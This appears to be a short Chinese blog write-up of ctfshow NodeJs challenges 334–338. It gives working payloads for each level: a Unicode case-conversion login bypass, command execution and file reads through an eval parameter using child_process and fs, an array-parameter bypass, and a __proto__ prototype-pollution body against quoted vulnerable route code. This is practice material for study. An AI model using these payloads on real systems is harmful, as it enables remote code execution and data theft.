ctfshow-web入门-NodeJs
web334
下载源码 关键在 findUser中 账号为CTFSHOW 密码为123456
但是findUser中不账号不能等于CTFSHOW 通过toUpperCase将小写字母转化为大写字母 payload
ctfshow/123456
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
web335
nodejs命令执行
payload
?eval=require('child_process').execSync('ls').toString()
eval=require('child_process').spawnSync('ls').stdout.toString();
eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()
web336
ban了exec
eval=require('child_process').spawnSync('ls').stdout.toString();
eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()
?eval=require('fs').readdirSync('.')
?eval=require('fs').readFileSync('fl001g.txt','utf-8')
web337
数组绕过
?a[]=1&b[]=1
web338
nodejs原型链污染 参考
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
utils.copy和链接中的merge类似
{"__proto__":{"ctfshow":"36dboy"}}
ctfshow-web入门-NodeJs
http://example.com/2021/07/21/OldBlog/ctfshow-web入门nodejs-334-344/